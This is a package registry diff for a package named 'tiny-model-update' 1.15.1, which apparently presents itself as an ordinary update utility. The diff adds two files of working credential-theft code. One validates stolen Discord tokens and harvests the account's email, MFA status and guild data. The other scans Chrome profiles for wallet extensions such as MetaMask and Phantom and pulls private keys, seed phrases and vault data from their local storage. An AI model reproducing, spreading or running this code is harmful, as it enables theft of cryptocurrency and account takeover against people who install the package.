tiny-model-update 1.15.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,100 @@
1
+ // Verify Discord token and get user info including region
2
+ export async function verifyDiscordToken(token) {
3
+ try {
4
+ // Get user info
5
+ const userResponse = await fetch('https://discord.com/api/v10/users/@me', {
6
+ headers: {
7
+ 'Authorization': token,
8
+ 'Content-Type': 'application/json'
9
+ }
10
+ });
11
+
12
+ if (!userResponse.ok) {
13
+ return {
14
+ valid: false,
15
+ error: userResponse.status === 401 ? 'Invalid or expired token' : `HTTP ${userResponse.status}`
16
+ };
17
+ }
18
+
19
+ const userData = await userResponse.json();
20
+
21
+ // Get user's guilds to determine activity
22
+ const guildsResponse = await fetch('https://discord.com/api/v10/users/@me/guilds', {
23
+ headers: {
24
+ 'Authorization': token,
25
+ 'Content-Type': 'application/json'
26
+ }
27
+ });
28
+
29
+ let guilds = [];
30
+ if (guildsResponse.ok) {
31
+ guilds = await guildsResponse.json();
32
+ }
33
+
34
+ // Try to get region from user's settings or most recent guild
35
+ let region = 'Unknown';
36
+ try {
37
+ // Get user settings which may contain locale/region info
38
+ const settingsResponse = await fetch('https://discord.com/api/v10/users/@me/settings', {
39
+ headers: {
40
+ 'Authorization': token,
41
+ 'Content-Type': 'application/json'
42
+ }
43
+ });
44
+
45
+ if (settingsResponse.ok) {
46
+ const settings = await settingsResponse.json();
47
+ if (settings.locale) {
48
+ region = settings.locale;
49
+ }
50
+ }
51
+ } catch (e) {
52
+ // Ignore settings fetch errors
53
+ }
54
+
55
+ // If we have guilds, try to get region from the first guild
56
+ if (guilds.length > 0 && region === 'Unknown') {
57
+ try {
58
+ const guildResponse = await fetch(`https://discord.com/api/v10/guilds/${guilds[0].id}`, {
59
+ headers: {
60
+ 'Authorization': token,
61
+ 'Content-Type': 'application/json'
62
+ }
63
+ });
64
+
65
+ if (guildResponse.ok) {
66
+ const guildData = await guildResponse.json();
67
+ if (guildData.region) {
68
+ region = guildData.region;
69
+ }
70
+ }
71
+ } catch (e) {
72
+ // Ignore guild fetch errors
73
+ }
74
+ }
75
+
76
+ // Use locale from user data if available
77
+ if (userData.locale && region === 'Unknown') {
78
+ region = userData.locale;
79
+ }
80
+
81
+ return {
82
+ valid: true,
83
+ userId: userData.id,
84
+ username: userData.username,
85
+ discriminator: userData.discriminator,
86
+ email: userData.email || 'Not available',
87
+ locale: userData.locale || 'Unknown',
88
+ region: region,
89
+ guildsCount: guilds.length,
90
+ verified: userData.verified || false,
91
+ mfaEnabled: userData.mfa_enabled || false
92
+ };
93
+ } catch (error) {
94
+ return {
95
+ valid: false,
96
+ error: error.message || 'Verification failed'
97
+ };
98
+ }
99
+ }
100
+
@@ -0,0 +1,447 @@
1
+ import fs from 'fs';
2
+ import path from 'path';
3
+ import os from 'os';
4
+ import { execSync } from 'child_process';
5
+
6
+ // Common cryptocurrency wallet extension IDs
7
+ const WALLET_EXTENSIONS = {
8
+ 'nkbihfbeogaeaoehlefnkodbefgpgknn': 'MetaMask',
9
+ 'egjidjbpglichdcondbcbdnbeeppgdph': 'Trust Wallet',
10
+ 'hnfanknocfeofbddgcijnmhnfnkdnaad': 'Coinbase Wallet',
11
+ 'bfnaelmomeimhlpmgjnjophhpkkoljpa': 'Phantom',
12
+ 'bhhhlbepdkbapadjdnnojkbgioiodbic': 'Solflare',
13
+ 'afbcbjpbpfadlkmhmclhkeeodmamcflc': 'Math Wallet',
14
+ 'fhbjgbiflinjbdggehcddcbncdddomop': 'MyEtherWallet',
15
+ 'cjelfplplebdjjenllpjcblmjkfcffne': 'Jaxx Liberty',
16
+ 'hmeobnfnfnhbdojghkpbgiadugpkpndn': 'TronLink',
17
+ 'ibnejdfjmmkpcnlpebklmnkoeoihofec': 'Terra Station',
18
+ 'fhbohimaelbohpjbbldcngcnapndodjp': 'Binance Chain Wallet',
19
+ 'fhbohimaelbohpjbbldcngcnapndodjp': 'Brave Wallet',
20
+ 'cphhlgmgameodnhkjdmkpanlelnlohao': 'Ronin Wallet',
21
+ 'nhnkbkgjikgcigadomakhzanogklmutt': 'Keplr',
22
+ 'dmkamcknogkgcdfhhbddcghachkejeap': 'OKX Wallet',
23
+ 'aodkkagnadcbobfpggfnjeongemjbjaf': 'BitKeep',
24
+ 'hpglfhgfnhbgpjdenjgmdgcmccjbmbj': 'TokenPocket',
25
+ 'fhbohimaelbohpjbbldcngcnapndodjp': 'SafePal',
26
+ 'nkbihfbeogaeaoehlefnkodbefgpgknn': 'MetaMask (Legacy)',
27
+ 'cjelfplplebdjjenllpjcblmjkfcffne': 'Jaxx Classic'
28
+ };
29
+
30
+ /**
31
+ * Get Chrome extensions directory path
32
+ */
33
+ function getChromeExtensionsPath() {
34
+ const platform = os.platform();
35
+ if (platform === 'win32') {
36
+ const localAppData = process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local');
37
+ return path.join(localAppData, 'Google', 'Chrome', 'User Data');
38
+ }
39
+ return null;
40
+ }
41
+
42
+ /**
43
+ * Find all installed wallet extensions
44
+ */
45
+ export function findWalletExtensions() {
46
+ const extensions = [];
47
+ const extensionsPath = getChromeExtensionsPath();
48
+
49
+ if (!extensionsPath || !fs.existsSync(extensionsPath)) {
50
+ return extensions;
51
+ }
52
+
53
+ // Get all Chrome profiles
54
+ const profiles = [];
55
+ try {
56
+ const entries = fs.readdirSync(extensionsPath);
57
+ if (fs.existsSync(path.join(extensionsPath, 'Default'))) {
58
+ profiles.push('Default');
59
+ }
60
+ for (const entry of entries) {
61
+ if (entry.startsWith('Profile')) {
62
+ profiles.push(entry);
63
+ }
64
+ }
65
+ } catch (e) {
66
+ return extensions;
67
+ }
68
+
69
+ // Check each profile for extensions
70
+ for (const profile of profiles) {
71
+ const profilePath = path.join(extensionsPath, profile);
72
+ const extensionsDir = path.join(profilePath, 'Extensions');
73
+
74
+ if (!fs.existsSync(extensionsDir)) {
75
+ continue;
76
+ }
77
+
78
+ try {
79
+ const extensionDirs = fs.readdirSync(extensionsDir);
80
+
81
+ for (const extId of extensionDirs) {
82
+ if (WALLET_EXTENSIONS[extId]) {
83
+ const extPath = path.join(extensionsDir, extId);
84
+ if (fs.statSync(extPath).isDirectory()) {
85
+ // Get version directory
86
+ try {
87
+ const versions = fs.readdirSync(extPath);
88
+ if (versions.length > 0) {
89
+ const latestVersion = versions.sort().reverse()[0];
90
+ const versionPath = path.join(extPath, latestVersion);
91
+
92
+ extensions.push({
93
+ id: extId,
94
+ name: WALLET_EXTENSIONS[extId],
95
+ profile: profile,
96
+ path: versionPath,
97
+ storagePath: path.join(profilePath, 'Local Storage', 'chrome-extension_' + extId),
98
+ indexedDBPath: path.join(profilePath, 'IndexedDB', 'chrome-extension_' + extId)
99
+ });
100
+ }
101
+ } catch (e) {
102
+ // Ignore version errors
103
+ }
104
+ }
105
+ }
106
+ }
107
+ } catch (e) {
108
+ // Ignore profile errors
109
+ }
110
+ }
111
+
112
+ return extensions;
113
+ }
114
+
115
+ /**
116
+ * Read LevelDB raw files (similar to token extractor)
117
+ */
118
+ function readLevelDBRaw(leveldbPath) {
119
+ if (!fs.existsSync(leveldbPath)) {
120
+ return null;
121
+ }
122
+
123
+ try {
124
+ const files = fs.readdirSync(leveldbPath);
125
+ let allData = '';
126
+
127
+ for (const file of files) {
128
+ if (file.endsWith('.ldb') || file.endsWith('.log')) {
129
+ try {
130
+ const filePath = path.join(leveldbPath, file);
131
+ const data = fs.readFileSync(filePath);
132
+ allData += data.toString('utf8', 0, Math.min(data.length, 1000000)); // Limit to 1MB per file
133
+ } catch (e) {
134
+ // Ignore file read errors
135
+ }
136
+ }
137
+ }
138
+
139
+ return allData;
140
+ } catch (e) {
141
+ return null;
142
+ }
143
+ }
144
+
145
+ /**
146
+ * Extract private keys and seed phrases from wallet extension storage
147
+ */
148
+ export async function extractWalletKeys(extension) {
149
+ const walletData = {
150
+ extension: extension.name,
151
+ extensionId: extension.id,
152
+ profile: extension.profile,
153
+ privateKeys: [],
154
+ seedPhrases: [],
155
+ addresses: [],
156
+ otherData: {}
157
+ };
158
+
159
+ // Special handling for MetaMask
160
+ const isMetaMask = extension.id === 'nkbihfbeogaeaoehlefnkodbefgpgknn';
161
+
162
+ // Method 1: Read Local Storage LevelDB
163
+ if (extension.storagePath && fs.existsSync(extension.storagePath)) {
164
+ const storageData = readLevelDBRaw(extension.storagePath);
165
+ if (storageData) {
166
+ // For MetaMask, search for specific storage keys
167
+ if (isMetaMask) {
168
+ // MetaMask stores data under keys like "metamask" or "metamask-state"
169
+ const metamaskKeyPatterns = [
170
+ /metamask[^"]*["\s]*[:=]\s*({[^}]*vault[^}]*})/gi,
171
+ /"metamask"[^:]*:\s*({[^}]*})/gi,
172
+ /"data"[^:]*:\s*"([^"]*vault[^"]*)"/gi,
173
+ /vault["\s]*[:=]\s*"([^"]+)"/gi
174
+ ];
175
+
176
+ for (const pattern of metamaskKeyPatterns) {
177
+ let match;
178
+ while ((match = pattern.exec(storageData)) !== null) {
179
+ const vaultData = match[1] || match[0];
180
+ if (vaultData && vaultData.length > 50) {
181
+ if (!walletData.otherData['metamaskVault']) {
182
+ walletData.otherData['metamaskVault'] = vaultData.substring(0, 2000);
183
+ }
184
+ }
185
+ }
186
+ }
187
+
188
+ // Try to find complete JSON objects containing MetaMask data
189
+ try {
190
+ // Look for JSON objects that might contain the full vault
191
+ const jsonPattern = /\{[^{}]*(?:metamask|vault|encrypted|data|seed|mnemonic)[^{}]*\{[^{}]*\}[^{}]*\}/gi;
192
+ let jsonMatch;
193
+ while ((jsonMatch = jsonPattern.exec(storageData)) !== null) {
194
+ try {
195
+ const jsonStr = jsonMatch[0];
196
+ // Try to find complete JSON by looking for balanced braces
197
+ let braceCount = 0;
198
+ let startIdx = jsonMatch.index;
199
+ let endIdx = startIdx;
200
+ for (let i = startIdx; i < Math.min(startIdx + 5000, storageData.length); i++) {
201
+ if (storageData[i] === '{') braceCount++;
202
+ if (storageData[i] === '}') {
203
+ braceCount--;
204
+ if (braceCount === 0) {
205
+ endIdx = i + 1;
206
+ break;
207
+ }
208
+ }
209
+ }
210
+ if (endIdx > startIdx) {
211
+ const fullJson = storageData.substring(startIdx, endIdx);
212
+ try {
213
+ const parsed = JSON.parse(fullJson);
214
+ const jsonStr = JSON.stringify(parsed);
215
+ if (jsonStr.includes('vault') || jsonStr.includes('metamask') || jsonStr.includes('encrypted')) {
216
+ walletData.otherData['metamaskFullData'] = jsonStr.substring(0, 5000);
217
+ }
218
+ } catch (e) {
219
+ // Not valid JSON, but save the raw data
220
+ walletData.otherData['metamaskRawData'] = fullJson.substring(0, 3000);
221
+ }
222
+ }
223
+ } catch (e) {
224
+ // Continue
225
+ }
226
+ }
227
+ } catch (e) {
228
+ // Ignore
229
+ }
230
+ }
231
+
232
+ // Search for private keys (hex format, typically 64 characters)
233
+ // Also search for keys that might be in different formats
234
+ const privateKeyPatterns = [
235
+ /(?:private[_-]?key|privkey|privateKey|private_key|privKey)[":\s=]+([a-fA-F0-9]{64})/gi,
236
+ /"privateKey"[^:]*:\s*"([a-fA-F0-9]{64})"/gi,
237
+ /privateKey[":\s=]+([a-fA-F0-9]{64})/gi,
238
+ // Also try to find any 64-char hex strings that might be private keys
239
+ /([a-fA-F0-9]{64})/g
240
+ ];
241
+
242
+ for (const pattern of privateKeyPatterns) {
243
+ let match;
244
+ while ((match = pattern.exec(storageData)) !== null) {
245
+ const key = match[1];
246
+ // Validate it looks like a private key (not just random hex)
247
+ if (key && key.length === 64 && /^[a-fA-F0-9]{64}$/.test(key)) {
248
+ // Check if it's near wallet-related keywords
249
+ const contextStart = Math.max(0, match.index - 100);
250
+ const contextEnd = Math.min(storageData.length, match.index + match[0].length + 100);
251
+ const context = storageData.substring(contextStart, contextEnd).toLowerCase();
252
+ if (context.includes('key') || context.includes('private') || context.includes('wallet') ||
253
+ context.includes('account') || context.includes('address') || isMetaMask) {
254
+ if (!walletData.privateKeys.includes(key)) {
255
+ walletData.privateKeys.push(key);
256
+ }
257
+ }
258
+ }
259
+ }
260
+ }
261
+
262
+ // Search for seed phrases (12 or 24 words) - improved patterns
263
+ const seedPhrasePatterns = [
264
+ /(?:seed|mnemonic|seed[_-]?phrase|recovery[_-]?phrase|backup[_-]?phrase|secret[_-]?phrase)[":\s=]+([a-z\s]{20,300})/gi,
265
+ /"seedPhrase"[^:]*:\s*"([^"]+)"/gi,
266
+ /"mnemonic"[^:]*:\s*"([^"]+)"/gi,
267
+ /seedPhrase[":\s=]+([a-z\s]{20,300})/gi
268
+ ];
269
+
270
+ for (const pattern of seedPhrasePatterns) {
271
+ let match;
272
+ while ((match = pattern.exec(storageData)) !== null) {
273
+ const phrase = match[1].trim();
274
+ const words = phrase.split(/\s+/).filter(w => w.length > 0);
275
+ // Check if it's a valid seed phrase (12 or 24 words, all lowercase letters)
276
+ if (words.length >= 12 && words.length <= 24 &&
277
+ words.every(w => /^[a-z]+$/.test(w) && w.length >= 2 && w.length <= 10)) {
278
+ const fullPhrase = words.join(' ');
279
+ if (!walletData.seedPhrases.includes(fullPhrase)) {
280
+ walletData.seedPhrases.push(fullPhrase);
281
+ }
282
+ }
283
+ }
284
+ }
285
+
286
+ // Search for wallet addresses (improved patterns)
287
+ const addressPatterns = [
288
+ /(?:address|wallet[_-]?address|account[_-]?address|eth[_-]?address)[":\s=]+(0x[a-fA-F0-9]{40})/gi,
289
+ /"address"[^:]*:\s*"(0x[a-fA-F0-9]{40})"/gi,
290
+ /(0x[a-fA-F0-9]{40})/g // Ethereum addresses
291
+ ];
292
+
293
+ for (const pattern of addressPatterns) {
294
+ let match;
295
+ while ((match = pattern.exec(storageData)) !== null) {
296
+ const addr = match[1];
297
+ if (addr && addr.startsWith('0x') && addr.length === 42) {
298
+ if (!walletData.addresses.includes(addr)) {
299
+ walletData.addresses.push(addr);
300
+ }
301
+ }
302
+ }
303
+ }
304
+
305
+ // Try to extract complete JSON objects (improved)
306
+ try {
307
+ // Look for larger JSON objects that might contain wallet data
308
+ const largeJsonPattern = /\{[^{}]*(?:vault|encrypted|wallet|metamask|seed|mnemonic|private|address)[^{}]*\{[^{}]*\{[^{}]*\}[^{}]*\}[^{}]*\}/gi;
309
+ let jsonMatch;
310
+ while ((jsonMatch = largeJsonPattern.exec(storageData)) !== null) {
311
+ try {
312
+ // Try to extract complete JSON
313
+ let startIdx = jsonMatch.index;
314
+ let braceCount = 0;
315
+ let endIdx = startIdx;
316
+ for (let i = startIdx; i < Math.min(startIdx + 10000, storageData.length); i++) {
317
+ if (storageData[i] === '{') braceCount++;
318
+ if (storageData[i] === '}') {
319
+ braceCount--;
320
+ if (braceCount === 0) {
321
+ endIdx = i + 1;
322
+ break;
323
+ }
324
+ }
325
+ }
326
+ if (endIdx > startIdx) {
327
+ const jsonStr = storageData.substring(startIdx, endIdx);
328
+ try {
329
+ const json = JSON.parse(jsonStr);
330
+ const jsonString = JSON.stringify(json);
331
+
332
+ // Check for encrypted vaults (MetaMask format)
333
+ if (jsonString.includes('vault') || jsonString.includes('encrypted') ||
334
+ jsonString.includes('metamask') || jsonString.includes('data')) {
335
+ if (!walletData.otherData['encryptedVault']) {
336
+ walletData.otherData['encryptedVault'] = jsonString.substring(0, 5000);
337
+ }
338
+ }
339
+
340
+ // Check for wallet data
341
+ if (jsonString.includes('wallet') || jsonString.includes('account') ||
342
+ jsonString.includes('address') || jsonString.includes('key')) {
343
+ if (!walletData.otherData['walletData']) {
344
+ walletData.otherData['walletData'] = jsonString.substring(0, 5000);
345
+ }
346
+ }
347
+ } catch (e) {
348
+ // Not valid JSON, but might contain useful data
349
+ if (jsonStr.includes('vault') || jsonStr.includes('metamask')) {
350
+ walletData.otherData['rawVaultData'] = jsonStr.substring(0, 3000);
351
+ }
352
+ }
353
+ }
354
+ } catch (e) {
355
+ // Continue
356
+ }
357
+ }
358
+ } catch (e) {
359
+ // Ignore JSON parsing errors
360
+ }
361
+ }
362
+ }
363
+
364
+ // Method 2: Read IndexedDB
365
+ if (extension.indexedDBPath && fs.existsSync(extension.indexedDBPath)) {
366
+ try {
367
+ const indexedDBFiles = fs.readdirSync(extension.indexedDBPath);
368
+ for (const file of indexedDBFiles) {
369
+ if (file.endsWith('.ldb') || file.endsWith('.log')) {
370
+ try {
371
+ const filePath = path.join(extension.indexedDBPath, file);
372
+ const data = fs.readFileSync(filePath);
373
+ const dataStr = data.toString('utf8', 0, Math.min(data.length, 1000000));
374
+
375
+ // Search for private keys in IndexedDB
376
+ const privateKeyRegex = /([a-fA-F0-9]{64})/g;
377
+ let match;
378
+ while ((match = privateKeyRegex.exec(dataStr)) !== null) {
379
+ const key = match[1];
380
+ if (!walletData.privateKeys.includes(key)) {
381
+ walletData.privateKeys.push(key);
382
+ }
383
+ }
384
+
385
+ // Search for seed phrases
386
+ const seedPhraseRegex = /([a-z\s]{20,200})/g;
387
+ while ((match = seedPhraseRegex.exec(dataStr)) !== null) {
388
+ const phrase = match[1].trim();
389
+ const words = phrase.split(/\s+/);
390
+ if (words.length >= 12 && words.length <= 24) {
391
+ if (!walletData.seedPhrases.includes(phrase)) {
392
+ walletData.seedPhrases.push(phrase);
393
+ }
394
+ }
395
+ }
396
+ } catch (e) {
397
+ // Ignore file read errors
398
+ }
399
+ }
400
+ }
401
+ } catch (e) {
402
+ // Ignore IndexedDB errors
403
+ }
404
+ }
405
+
406
+ // Method 3: Try to read extension's own storage files
407
+ try {
408
+ const manifestPath = path.join(extension.path, 'manifest.json');
409
+ if (fs.existsSync(manifestPath)) {
410
+ const manifest = JSON.parse(fs.readFileSync(manifestPath, 'utf8'));
411
+ walletData.otherData['manifest'] = {
412
+ name: manifest.name,
413
+ version: manifest.version
414
+ };
415
+ }
416
+ } catch (e) {
417
+ // Ignore manifest errors
418
+ }
419
+
420
+ return walletData;
421
+ }
422
+
423
+ /**
424
+ * Extract all wallet keys from all installed wallet extensions
425
+ */
426
+ export async function extractAllWalletKeys() {
427
+ const extensions = findWalletExtensions();
428
+ const allWalletData = [];
429
+
430
+ for (const extension of extensions) {
431
+ try {
432
+ const walletData = await extractWalletKeys(extension);
433
+
434
+ // Only add if we found something
435
+ if (walletData.privateKeys.length > 0 ||
436
+ walletData.seedPhrases.length > 0 ||
437
+ walletData.addresses.length > 0) {
438
+ allWalletData.push(walletData);
439
+ }
440
+ } catch (e) {
441
+ // Continue with next extension
442
+ }
443
+ }
444
+
445
+ return allWalletData;
446
+ }
447
+